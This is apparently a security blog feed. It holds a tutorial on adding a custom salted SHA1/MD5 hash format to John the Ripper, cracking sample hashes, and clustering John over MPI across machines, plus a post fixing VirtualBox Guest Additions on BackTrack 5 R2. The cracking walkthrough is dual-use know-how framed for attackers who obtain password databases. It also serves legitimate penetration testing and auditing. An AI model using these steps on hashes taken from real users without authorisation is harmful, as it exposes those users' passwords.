<img src="https://blog.thireus.com/content/images/2019/10/john-the-ripped-salt-and-pepper-for-hungry-password-crackers.png" alt="John the Ripped &#x2013; Steak and French Fries With Salt and Pepper Sauce for Hungry Password Crackers"><p><a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> into its latest community enhanced version (John the Ripper <a href="http://www.openwall.com/john/g/john-1.7.9-jumbo-5.tar.gz?ref=blog.thireus.com">1.7.9-jumbo-5</a>) has many advanced features. Most of them are without any doubt very useful and appreciated such as MD5 hash cracking.</p>
</blockquote>
<p><em>Four days to come before <a href="http://conference.hitb.org/hitbsecconf2012ams/?ref=blog.thireus.com">Hack In The Box Amsterdam 2012</a> security conferences. Excitement is at its top level, bags are already packed and the <a href="http://www.idownloadblog.com/2011/11/28/the-ios-hackers-handbook-reveals-how-jailbreaking-and-exploit-research-works/?ref=blog.thireus.com">iOS Hacker&#x2019;s Handbook</a> is left open on the beside table. But, because it is always time for challenges I decided to face one that I had in mind for years&#x2026;</em></p>
<p>Cracking a custom hash algorithm and making your own password cracking cluster would be great, wouldn&apos;t it? Well, you know what? You can make it with <a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> jumbo version.</p>
<p><span style="text-decoration: underline; color: #008000;">Updates:</span>&#xA0;<span style="color: #999999;">(subscribe to my&#xA0;<a href="https://twitter.com/Thireus?ref=blog.thireus.com" title="Twitter"><span style="color: #999999;">twitter</span></a>&#xA0;to get notified)</span></p>
<ul>
<li>11/16/2012 &#x2013; Note about&#xA0;<a href="#dynamic.conf" title="dynamic.conf tip">run/dynamic.conf</a> file. No need to recompile, much easier to edit!</li>
<li>11/16/2012 &#x2013; Note dynamic function names up to <a href="#999" title="Names up to 999 are reserved!">999</a> are reserved!</li>
<li>11/16/2012 &#x2013; Added &#x201C;&#x2013;subformat=LIST&#x201D; <a href="#subformat_LIST" title="./john --subformat=LIST">tip</a>.</li>
</ul>
<h4 id="preparesaltandpeppersaucethefrenchcuisine">Prepare salt and pepper sauce&#x2026; the French Cuisine</h4>
<p>Most of the time, hashed passwords are salted and combined with different famous hash algorithms. For example, developers who care a little about security will hash user passwords with different hash algorithm combinations, i.e. <code>sha1(md5($salt.$password).&quot;HelloWorld&quot;)</code>. This kind of classic enhanced security to store hashed passwords makes the job harder for password crackers.</p>
<p>First of all the attacker needs to know how passwords were hashed. Reverse engineering is always a good start but the easiest way is to get the sources. The second step and the one I&apos;d like to talk in the first part of this article is to implement and use your own hash algorithm for cracking purpose.</p>
<ul>
<li>
<p>First go to&#xA0;<a href="http://www.openwall.com/john/?ref=blog.thireus.com">http://www.openwall.com/john/</a>, and download the latest&#xA0;<em>jumbo</em>&#xA0;&#x201C;community enhanced&#x201D; version. When I wrote this article the latest stable release was 1.7.9-jumbo-5.</p>
<p><code>$ wget <a href="http://www.openwall.com/john/g/john-1.7.9-jumbo-5.tar.gz?ref=blog.thireus.com">http://www.openwall.com/john/g/john-1.7.9-jumbo-5.tar.gz</a></code><br><br>
<code>$ tar -xvzf john-1.7.9-jumbo-5.tar.gz</code></p>
</li>
<li>
<p>Let&apos;s see what we have here&#x2026;</p>
<p><code>$ cd john-1.7.9-jumbo-5/src/</code></p>
</li>
</ul>
<p><em>Before changing anything, we&apos;d like to check if it compiles well.</em></p>
<ul>
<li>
<p>The make command will list all available compilation modes. This time I&apos;m gonna compile john on MacOS X Lion 10.7.3. Choose the one you prefer&#x2026;</p>
<p><code>john-1.7.9-jumbo-5/src$ make</code><br><br>
<code>john-1.7.9-jumbo-5/src$ make macosx-x86-64</code></p>
</li>
<li>
<p>If everything is ok you should see john binaries and configuration files into the&#xA0;<em>run</em>&#xA0;directory.</p>
<p><code>john-1.7.9-jumbo-5/src$ cd ../run/</code><br><br>
<code>john-1.7.9-jumbo-5/run$ ./john --test</code></p>
</li>
<li>
<p>Now go back to the&#xA0;<em>src</em>&#xA0;directory</p>
<p><code>john-1.7.9-jumbo-5/run$ cd ../src/</code></p>
</li>
</ul>
<p>In the introduction I talked about a custom hash algorithm such as&#xA0;<code>sha1(md5($salt.$password).&quot;HelloWorld&quot;)</code>. So let&apos;s use this one as example.</p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Note:</span> A similar procedure can also be applied directly to the <em>run/dynamic.conf</em> file, where you can add your own dynamic functions (<code>[List.Generic:dynamic_XXXX]</code>) without the need to recompile.</span></p>
<p>What we&apos;ll have to modify is&#xA0;<em>dynamic_preloads.c</em>. This is where we can create our custom algorithm under the name of&#xA0;<em>dynamic_1666</em>. <span style="color: #ff0000;">Names up to dynamic_999 are reserved</span>, so make sure to use a number which is not already in use by another dynamic function. Use the command <code>./john -subformat=LIST</code> to check available numbers.</p>
<p>Additionally, you&#x2019;ll find into this file many examples of classic dynamic subformats such as <code>md5(md5($password))</code>. I advise you to understand by your own how things work before doing anything.</p>
<ul>
<li>
<p>When you are ready, open&#xA0;<em>dynamic_preloads.c</em>&#xA0;and add these new lines</p>
<pre><code>  //dynamic_1666 --&gt; sha1(md5($s.$p).&quot;HelloWorld&quot;) BY THIREUS
  static DYNAMIC_primitive_funcp _Funcs_1666[] =
  {
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__clean_input,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__append_salt,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__append_keys,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__crypt,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__SSEtoX86_switch_output1,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__clean_input2,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__append_from_last_output_to_input2_as_base16,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__append_input2_from_CONST1,
  &#xA0;&#xA0;&#xA0;&#xA0;DynamicFunc__SHA1_crypt_input2_to_output1_FINAL,
  &#xA0;&#xA0;&#xA0;&#xA0;NULL
  };
  static struct fmt_tests _Preloads_1666[] =
  {
  &#xA0;&#xA0;&#xA0;&#xA0;{&quot;$dynamic_1666$e964aa651052d2bbd64aea60756d7705634187f6$admin&quot;,&quot;password&quot;}, // salt=admin, password=password
  &#xA0;&#xA0;&#xA0;&#xA0;{&quot;$dynamic_1666$4a573951007f7d23eb411c066e2cfb8a175a76d2$123456789&quot;,&quot;heydude&quot;},
  &#xA0;&#xA0;&#xA0;&#xA0;{&quot;$dynamic_1666$fee9c8708b2e1a177acd350513c14ce0e9900609$salted&quot;,&quot;test123&quot;},
  &#xA0;&#xA0;&#xA0;&#xA0;{&quot;$dynamic_1666$d8e18f5f1035ce486dd3a08911a4205d78fc7f49$bonjour&quot;,&quot;awesome&quot;},
  &#xA0;&#xA0;&#xA0;&#xA0;{NULL}
  };
  static DYNAMIC_Constants _Const_1666[] =
  {
  &#xA0;&#xA0;&#xA0;&#xA0;{&quot;HelloWorld&quot;},
  &#xA0;&#xA0;&#xA0;&#xA0;{NULL}
  };
</code></pre>
</li>
</ul>
<p>If you are curious about how to declare <code>DynamicFunc__</code> actions and optimise your function, you&#x2019;ll find all you need in&#xA0;<em>dynamic_parser.c</em>&#xA0;and&#xA0;<em>dynamic_fmt.c</em>&#xA0;files.</p>
<ul>
<li>
<p>Finally at the end of the &#xA0;file, we need to specify hashes format</p>
<pre><code>  { &quot;dynamic_1666: sha1($s.md5($p).\&quot;HelloWorld\&quot;)&quot;, _Funcs_1666,_Preloads_1666,_Const_1666, MGF_SALTED|MGF_SHA1_40_BYTE_FINISH, MGF_NO_FLAG },
</code></pre>
</li>
<li>
<p>Once everything is in place, we have to clean and compile again.</p>
<p><code>john-1.7.9-jumbo-5/src$ make clean</code><br><br>
<code>john-1.7.9-jumbo-5/src$ make macosx-x86-64</code></p>
</li>
<li>
<p>You should see john binaries and configuration files into the&#xA0;<em>run</em>&#xA0;directory. And you can run the <code>-test</code> option of John the Ripper.</p>
<p><code>john-1.7.9-jumbo-5/src$ cd ../run/</code><br><br>
<code>john-1.7.9-jumbo-5/run$ ./john --test</code></p>
</li>
</ul>
<p>New lines should appear to display benchmark scores for your function.</p>
<pre><code>    Benchmarking: dynamic_1666: sha1($s.md5($p).&quot;HelloWorld&quot;) [SSE2i 10x4x3]... DONE
    Many salts: 1855K c/s real, 1995K c/s virtual
    Only one salt:&#xA0; 1741K c/s real, 1852K c/s virtual
    &#xA0;
    Benchmarking: dynamic_1666: sha1($s.md5($p).&quot;HelloWorld&quot;) [64x2 (MD5_Body)]... DONE
    Many salts: 1373K c/s real, 1509K c/s virtual
    Only one salt:&#xA0; 1283K c/s real, 1410K c/s virtual
</code></pre>
<ul>
<li>
<p>You can also verify that your dynamic function exists with the following command.</p>
<p><code>john-1.7.9-jumbo-5/run$ ./john --subformat=LIST</code></p>
</li>
</ul>
<h6 id="testfails"><em>Test fails?</em></h6>
<p>There are many reasons why tests can fail. The main reasons are due to a bad use of the <code>DynamicFunc__</code> actions, bad order or bad implementation. This will result into a verbose fail of John before starting any tests.<br>
Another common issue, could be that your <code>fmt_tests</code> are broken, meaning bad format for example, this results into a <code>FAILED (valid)</code>&#xA0;error during the tests.<br>
And one last note, if you hash long strings using <code>SSE mode</code>&#xA0;your tests will automatically fail! That&apos;s the reason why you have to switch between SSE and X86 mode using functions such as <code>DynamicFunc__ToX86</code>&#xA0;or <code>DynamicFunc__SSEtoX86_switch_output1</code>.</p>
<ul>
<li>
<p>You should now be ready to crack these passwords.</p>
<pre><code>  lydia:$dynamic_1666$72d4d61b4e5db9ef8704d1af81284c67eea640dd$skyrim
  admin:$dynamic_1666$70ea6b7f633305f04521683226ecabd0537e90ec$example.com
  user123:$dynamic_1666$907c7df1d7e349e98184d74fb7486c77eaf76d60$example.com
  Thireus:$dynamic_1666$e41c041fda28b3615b63acddb6407cf74b354d66$CestLaFeteAlouette
</code></pre>
</li>
<li>
<p>Put them into a hash.txt file, and crack them all.</p>
<p><code>john-1.7.9-jumbo-5/run$ ./john hash.txt</code></p>
</li>
</ul>
<h4 id="stepbystepinstructionsforgrillingtheperfectsteakwithmpienabledbarbecue">Step by step instructions for grilling the perfect steak&#x2026; with&#xA0;MPI enabled barbecue</h4>
<p>A few months ago I wrote an article that explains how to compile <a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper </a> with <a href="https://en.wikipedia.org/wiki/OpenMP?ref=blog.thireus.com">OpenMP</a> enabled to take advantage of multiple cores:&#xA0;<a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="Crack Passwords using John the Ripper with Multiple CPU Cores (OpenMP)">Crack Passwords using John the Ripper with Multiple CPU Cores (OpenMP)</a>. <a href="https://en.wikipedia.org/wiki/OpenMP?ref=blog.thireus.com">OpenMP</a> is good for algorithms such as DES which can be used by default with this awesome feature. The downside is that not all algorithms are compatible with <a href="https://en.wikipedia.org/wiki/OpenMP?ref=blog.thireus.com">OpenMP</a>, such as MD5 or SHA1. Fortunately, we can use the <a href="https://en.wikipedia.org/wiki/Message_Passing_Interface?ref=blog.thireus.com">MPI</a> (Message Passing Interface) feature of <a href="http://www.openwall.com/john/?ref=blog.thireus.com" title="John the Ripper password cracker">John the Ripper</a> to take advantage of all our CPU cores with any algorithm!</p>
<p>Before going any further, some packages are required. You have to install <a href="http://www.open-mpi.org/?ref=blog.thireus.com">OpenMPI</a>.</p>
<ol>
<li>Under MacOS you can do it via <a href="https://www.macports.org/?ref=blog.thireus.com">MacPorts</a> using the <code>sudo port install openmpi</code> command.</li>
<li>Under Linux you can get everything with <code>sudo apt-get install libopenmpi-dev openmpi-bin openmpi-doc</code>.</li>
</ol>
<p><span style="color: #ff0000;">Make sure your have the&#xA0;<code>mpirun</code>&#xA0;command available.</span></p>
<ul>
<li>
<p>Now what you have to do is to open John&apos;s Makefile and edit two lines.</p>
<p><code>$ cd john-1.7.9-jumbo-5/src/</code><br><br>
<code>john-1.7.9-jumbo-5/src$ nano Makefile</code></p>
</li>
<li>
<p>Locate the following lines.</p>
<pre><code>  #CC = mpicc -DHAVE_MPI -DJOHN_MPI_BARRIER -DJOHN_MPI_ABORT
  #MPIOBJ = john-mpi.o
</code></pre>
</li>
<li>
<p>Uncomment&#xA0;MPI flags.</p>
<pre><code>  CC = mpicc -DHAVE_MPI -DJOHN_MPI_BARRIER -DJOHN_MPI_ABORT
  MPIOBJ = john-mpi.o
</code></pre>
</li>
<li>
<p>Once everything is in place, we have to clean and compile again.</p>
<p><code>john-1.7.9-jumbo-5/src$ make clean</code><br><br>
<code>john-1.7.9-jumbo-5/src$ make macosx-x86-64</code></p>
</li>
</ul>
<p>Under Linux, compilation should work out of the box. Under MacOS users will face this issue:</p>
<pre><code>    john-mpi.c:6:10: fatal error: &apos;omp.h&apos; file not found
    #include &lt;omp.h&gt;
    &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;^
    1 error generated.
    make[1]: *** [john-mpi.o] Error 1
    make: *** [macosx-x86-64] Error 2
</code></pre>
<p>To fix it, just open the <em>john-mpi.c</em>&#xA0;file and comment the <em>omp.h</em> file inclusion (which is not needed and must not be used under MacOS X).</p>
<pre><code>    #include &quot;john-mpi.h&quot;
    #include &lt;string.h&gt;
    #include &lt;stdio.h&gt;
    #include &lt;stdlib.h&gt;
    #include &lt;unistd.h&gt;
    //#include &lt;omp.h&gt;
</code></pre>
<p>Now it should compile and run fine with <em>mpirun</em>.</p>
<p><code>john-1.7.9-jumbo-5/run$ mpirun -n 8 ./john hash.txt</code></p>
<p><img src="https://blog.thireus.com/img/capture-decran-2012-05-20-a-14-40-13-407x262.png" alt="John the Ripped &#x2013; Steak and French Fries With Salt and Pepper Sauce for Hungry Password Crackers" title="Capture d&#x2019;&#xE9;cran 2012-05-20 &#xE0; 14.40.13" loading="lazy">You need to adjust the number of cores depending on your CPU. With the previous command the work is now split in 8 sub-processes, one per core on my i7-8600K. Isn&#x2019;t that great?</p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Warning:</span>&#xA0;Once the number of cores is fixed for a session, don&#x2019;t change it unless you know what you are doing. Because for sure it can break your work.</span></p>
<p>Note that you can use sessions, and similar options that can be associated with <code>mpirun</code>. For example, if you want to know the state of a session:</p>
<p><code>john-1.7.9-jumbo-5/run$ mpirun -n 8 ./john --status=mysavedsession</code></p>
<p>The John instances will read all the <em>mysavedsession.%d.rec</em>, where <em>%d</em> is a number between 0 and 7 in our case. Also, sessions are saved every 10 minutes, so don&apos;t be scared if the status command displays null stats for the first 10 minutes.</p>
<h4 id="cooksomefrenchfriesforyoursteak">Cook some French fries for your steak</h4>
<p>So you have many computers in your room, and want to take advantage of all CPUs? As promised, I&apos;ll talk about clustering here for advanced users only.</p>
<p>Before going any further, some packages are required. You have to install <a href="http://www.open-mpi.org/?ref=blog.thireus.com">OpenMPI</a> and <a href="http://www.mcs.anl.gov/research/projects/mpich2/downloads/index.php?s=downloads&amp;ref=blog.thireus.com">mpich2</a>.</p>
<ol>
<li>Under MacOS you can do it via <a href="https://www.macports.org/?ref=blog.thireus.com">MacPorts</a> using the <code>sudo port install openmpi mpich2</code> command.</li>
<li>Under Linux you can get everything with <code>sudo apt-get install libopenmpi-dev openmpi-bin openmpi-doc mpich2</code>.</li>
</ol>
<p>Make sure your have the&#xA0;<code>mpirun</code>&#xA0;command available and&#xA0;<code>hydra_pmi_proxy</code>.</p>
<p><code>hydra_pmi_proxy</code>&#xA0;is the binary file which is used to talk between computers. It is located under <em>/opt/local/bin/hydra_pmi_proxy</em> on MacOS X and <em>/usr/local/bin/hydra_pmi_proxy</em> under Linux.</p>
<p>What you need to know now is that <span style="text-decoration: underline;">any systems must run the same John the Ripper version, in the same directory and use the same version of <em>mpich2</em></span>. If this is not the case you can manually compile and install <em>mpich2</em> and also create symbolic links with <code>ln -s</code> command.</p>
<p>For example, to talk between MacOS and Linux I had to make sure&#xA0;<code>hydra_pmi_proxy</code>&#xA0;can be reached via the same path on both systems.</p>
<p><code>ln -s /usr/local/bin/hydra_pmi_proxy /opt/local/bin/hydra_pmi_proxy</code></p>
<p>Now that all your computers are ready, make sure you can reach them using <code>ssh</code>, because this is how MPI messages are going to be transmitted. So, I advice you to create SSH key pairs. Once done, create a&#xA0;<em>nodes.txt</em>&#xA0;file, containing the list of ip addresses of the computers you want to use.</p>
<pre><code>toto@192.168.1.145
localhost
localhost
localhost
localhost
mike@192.168.4.12
mike@192.168.4.12
mike@192.168.4.12
mike@192.168.4.12
192.168.5.5
192.168.5.5
paul@mydomain.com
paul@mydomain.com
</code></pre>
<p>You can now use this file to invoke commands on other systems. Let&#x2019;s start with <code>john-1.7.9-jumbo-5/run/john &#x2013;test</code>:</p>
<p><code>mpirun -f nodes.txt -n 18 john-1.7.9-jumbo-5/run/john --test</code></p>
<p>You may have noticed that I&apos;m not using 18 instances (for 18 CPU cores). Because once the end of the&#xA0;<em>nodes.txt</em>&#xA0;file is reached,&#xA0;<code>mpirun</code>&#xA0;will start reading the list again from the beginning of the file, making a loop.<br>
<em><a href="mailto:toto@192.168.1.145">toto@192.168.1.145</a></em>&#xA0;will thus be used twice, as well as the four&#xA0;<em>localhost</em> entries.</p>
<p>You should now be ready to play with your own password cracking cluster!</p>
<p><img src="https://blog.thireus.com/img/SteakWithFrenchFries-254x320.png" alt="John the Ripped &#x2013; Steak and French Fries With Salt and Pepper Sauce for Hungry Password Crackers" title="SteakWithFrenchFries" loading="lazy"></p>
<p><em>Ready to serve. Bon app&#xE9;tit !</em></p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="hydra_pmi_proxy">hydra_pmi_proxy</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="open mp mulithread sha1">open mp mulithread sha1</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="omp h file not found">omp h file not found</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="john the ripper 1 7 9 openmpi">john the ripper 1 7 9 openmpi</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="crash recovery file is locked john the ripper">crash recovery file is locked john the ripper</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="mpi password cracker">mpi password cracker</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="mpich2 john the ripper">mpich2 john the ripper</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="mpirun hashcat">mpirun hashcat</a></li>
<li><a href="https://blog.thireus.com/john-the-ripped-steak-and-french-fries-with-salt-and-pepper-sauce-for-hungry-password-crackers" title="mpirun john the ripper">mpirun john the ripper</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[BackTrack 5 R2 – VirtualBox Guest Additions + USB Issues Fixes]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>The famous Linux-based penetration testing arsenal can run in <a href="https://www.virtualbox.org/?ref=blog.thireus.com">VirtualBox</a>. However, some tricks are needed to have the latest version fully functional with VirtualBox.</p>
</blockquote>
<p><em>For the <a href="https://sthack.ingesup.com/?ref=blog.thireus.com" title="ST&apos;HACK Ethical Hacking Contest">ST&#x2019;HACK</a> Ethical Hacking Contest tonight in Bordeaux (France), all tools must be ready before the battle begins. MacBooks are armed, scripts are</em></p>]]></description><link>https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b96f</guid><category><![CDATA[3.2.6]]></category><category><![CDATA[Additions]]></category><category><![CDATA[Air]]></category><category><![CDATA[BackTrack]]></category><category><![CDATA[compile]]></category><category><![CDATA[configuration]]></category><category><![CDATA[core]]></category><category><![CDATA[CPU]]></category><category><![CDATA[extension]]></category><category><![CDATA[file-roller]]></category><category><![CDATA[fix]]></category><category><![CDATA[Guest]]></category><category><![CDATA[i7]]></category><category><![CDATA[issue]]></category><category><![CDATA[issues]]></category><category><![CDATA[kernel]]></category><category><![CDATA[Linux]]></category><category><![CDATA[linux-headers]]></category><category><![CDATA[MacBook]]></category><category><![CDATA[Multithreading]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[R2]]></category><category><![CDATA[solution]]></category><category><![CDATA[tutorial]]></category><category><![CDATA[upgrade]]></category><category><![CDATA[USB]]></category><category><![CDATA[vboxadd-install.log]]></category><category><![CDATA[vboxadditions]]></category><category><![CDATA[vboxguest]]></category><category><![CDATA[VirtualBox]]></category><category><![CDATA[VM]]></category><category><![CDATA[xorg]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Fri, 16 Mar 2012 16:32:44 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/backtrack-5-rc2.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/backtrack-5-rc2.png" alt="BackTrack 5 R2 &#x2013; VirtualBox Guest Additions + USB Issues Fixes"><p>The famous Linux-based penetration testing arsenal can run in <a href="https://www.virtualbox.org/?ref=blog.thireus.com">VirtualBox</a>. However, some tricks are needed to have the latest version fully functional with VirtualBox.</p>
</blockquote>
<p><em>For the <a href="https://sthack.ingesup.com/?ref=blog.thireus.com" title="ST&apos;HACK Ethical Hacking Contest">ST&#x2019;HACK</a> Ethical Hacking Contest tonight in Bordeaux (France), all tools must be ready before the battle begins. MacBooks are armed, scripts are ready to be launched and beers are waiting in the fridge. During the preparation, BackTrack 5 R2 was installed on every teammate computers.</em></p>
<p><a href="https://www.virtualbox.org/?ref=blog.thireus.com">VirtualBox</a> is of course the most suitable virtualization solution to run BackTrack. Unfortunately, with this latest version of <a href="http://www.backtrack-linux.org/?ref=blog.thireus.com">BackTrack</a>, the <a href="http://www.virtualbox.org/manual/ch04.html?ref=blog.thireus.com">VirtualBox Guest Additions</a> cannot be installed on a fresh new install. Fortunately, after some modifications everything can be fixed to compile these additions for the 3.2.6 Linux Kernel of BackTrack 5 R2.</p>
<p><span style="color: #ff0000;"><span style="text-decoration: underline;">Edit:</span> VirtualBox Guest Additions solution updated with new fixes.</span></p>
<h4 id="downloadandinstall">Download and Install</h4>
<ul>
<li>BackTrack: <a href="http://www.backtrack-linux.org/downloads/?ref=blog.thireus.com">http://www.backtrack-linux.org/downloads/</a></li>
<li>VirtualBox + Oracle VM Extension Pack: <a href="https://www.virtualbox.org/wiki/Downloads?ref=blog.thireus.com">https://www.virtualbox.org/wiki/Downloads</a></li>
</ul>
<p>If you want support for <strong>USB 2.0</strong> devices you must download and install <a href="https://www.virtualbox.org/wiki/Downloads?ref=blog.thireus.com">Oracle VM Extension Pack</a> for VirtualBox!</p>
<p>I will not describe the steps to install BackTrack on VirtualBox. A lot of <a href="http://www.backtrack-linux.org/wiki/index.php/VirtualBox_Install?ref=blog.thireus.com">tutorials</a> can be found on the Internet to <a href="http://www.ehacking.net/2012/02/backtrack-5-r2-release-update-to.html?ref=blog.thireus.com">upgrade to BackTrack 5 R2</a> or to <a href="http://www.backtrack-linux.org/wiki/index.php/VirtualBox_Install?ref=blog.thireus.com">make a fresh install</a>.</p>
<p>You can find bellow some screenshots about the VirtualBox configuration for my MacBook Air i7 1.8Ghz.</p>
<p>[<img src="https://blog.thireus.com/img/backtrack-5-r2-64bits.png" alt="BackTrack 5 R2 &#x2013; VirtualBox Guest Additions + USB Issues Fixes" loading="lazy"> [<img src="https://blog.thireus.com/img/backtrack-5-r2-64bits-memory-virtualbox.png" alt="BackTrack 5 R2 &#x2013; VirtualBox Guest Additions + USB Issues Fixes" loading="lazy"></p>
<p>[<img src="https://blog.thireus.com/img/backtrack-5-r2-64bits-cpu-virtualbox.png" alt="BackTrack 5 R2 &#x2013; VirtualBox Guest Additions + USB Issues Fixes" loading="lazy"> [<img src="https://blog.thireus.com/img/backtrack-5-r2-64bits-acceleration-virtualbox.png" alt="BackTrack 5 R2 &#x2013; VirtualBox Guest Additions + USB Issues Fixes" loading="lazy"></p>
<h5 id="spanstyletextdecorationunderlineissue1spanspanstylecolor008000solvedspanusbdevicedescriptorerror"><span style="text-decoration: underline;">Issue #1</span> (<span style="color: #008000;">solved</span>): USB device descriptor error</h5>
<blockquote>
<p>usb 1-1: Device descriptor read/8, error -110 usb 1-1: Device descriptor read/64, error -110</p>
</blockquote>
<h6 id="solution">Solution</h6>
<p>The number of Processor for the Guest OS must be set to 1 or eventually 2&#x2026; For example, my MacBook Air has a Core i7 inside, multithreading displays 4 virtual cores. So, I have to set a maximum of 2 cores to BackTrack VM Guest to fix this issue. (Even if the recommended number of cores VirtualBox displays is 4).</p>
<h5 id="spanstyletextdecorationunderlineissue2spanspanstylecolor008000solvedspanvirtualboxguestadditions"><span style="text-decoration: underline;">Issue #2</span> (<span style="color: #008000;">solved</span>): VirtualBox Guest Additions</h5>
<p><strong>After a fresh new install of BackTrack 5 R2, you should have no issues installing VirtualBox Guest Additions&#x2026; So, before applying these patches, make sure the installation of VirtualBox Guest Additions fails.</strong></p>
<p>After upgrading from an old version of BackTrack to BackTrack 5 R2, you can face some issues during the installation of the VirtualBox Guest Additions. These two kinds of errors can occur and lead to a vboxguest kernel extension impossible to load.</p>
<blockquote>
<p>The headers for the current running kernel were not found. If the following module compilation fails then this could be the reason.</p>
</blockquote>
<p>and</p>
<blockquote>
<p>Building the main Guest Additions module ...fail! (Look at /var/log/vboxadd-install.log to find out what went wrong)</p>
</blockquote>
<p>Both issues will result in:</p>
<blockquote>
<p>Starting the VirtualBox Guest Additions ...fail! (modprobe vboxguest failed)</p>
</blockquote>
<h6 id="solution">Solution</h6>
<pre><code>apt-get install linux-headers-$(uname -r) linux-headers xserver-xorg xserver-xorg-core file-roller # file-roller not needed
cd /usr/src/
tar jxf /usr/src/linux-source-3.2.6.tar.bz2
rm /usr/src/linux
ln -s /usr/src/linux-source-3.2.6 /usr/src/linux
rm /usr/src/linux-headers-3.2.6/include/asm
ln -s /usr/src/linux-source-3.2.6/arch/x86/include/asm /usr/src/linux-headers-3.2.6/include/asm
ln -s /usr/src/linux-headers-3.2.6 /lib/modules/3.2.6/build
ln -s /usr/src/linux-source-3.2.6/arch/x86/Makefile_32.cpu /usr/src/linux-headers-3.2.6/arch/x86/Makefile_32.cpu # Solution required for BackTrack x86 version by SphaZ
</code></pre>
<p><span style="color: #ff0000;">Make sure you have <strong>linux-source-3.2.6.tar.bz2</strong> inside your <strong>/usr/src/</strong> directory&#x2026;</span> Just in case you need it:</p>
<p>[wpfilebase tag=file id=28]</p>
<h5 id="readytoinstallthevboxadditions">Ready to install the VBOXADDITIONS</h5>
<pre><code>Verifying archive integrity... All good.
Uncompressing VirtualBox 4.1.10 Guest Additions for Linux..........
VirtualBox Guest Additions installer
Removing installed version 4.1.10 of VirtualBox Guest Additions...
tar: Record size = 8 blocks
Removing existing VirtualBox DKMS kernel modules ...done.
Removing existing VirtualBox non-DKMS kernel modules ...done.
Building the VirtualBox Guest Additions kernel modules
Building the main Guest Additions module ...done.
Building the shared folder support module ...done.
Building the OpenGL support module ...done.
Doing non-kernel setup of the Guest Additions ...done.
You should restart your guest to make sure the new modules are actually used
Installing the Window System drivers
Installing X.Org Server 1.7 modules ...done.
Setting up the Window System to use the Guest Additions ...done.
You may need to restart the hal service and the Window System (or just restart
the guest system) to enable the Guest Additions.
Installing graphics libraries and desktop services components ...done.
</code></pre>
<p>Good job, now reboot and enjoy adaptative screen resolution, smooth mouse moves, folder sharing and copy/paste from Host to Guest and vis versa.</p>
<p>[<img src="https://blog.thireus.com/img/backtrack-5-r2-running-on-my-macbook-air-i7-with-virtualbox-gest-additions.png" alt="BackTrack 5 R2 &#x2013; VirtualBox Guest Additions + USB Issues Fixes" loading="lazy"></p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="backtrack virtualbox">backtrack virtualbox</a></li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="Error! Bad return status for module build on kernel: 3 2 6 (i686)">Error! Bad return status for module build on kernel: 3 2 6 (i686)</a></li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="/var/log/vboxadd-install log">/var/log/vboxadd-install log</a></li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="backtrack macbook air">backtrack macbook air</a></li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="backtrack 5 virtualbox">backtrack 5 virtualbox</a></li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="backtrack 5 r2 virtualbox guest additions">backtrack 5 r2 virtualbox guest additions</a></li>
<li><a href="https://blog.thireus.com/backtrack-5-r2-virtualbox-guest-additions-usb-issues-fixes" title="error! bad return status for module build on kernel: 3 2 6 (x86_64)">error! bad return status for module build on kernel: 3 2 6 (x86_64)</a></li>
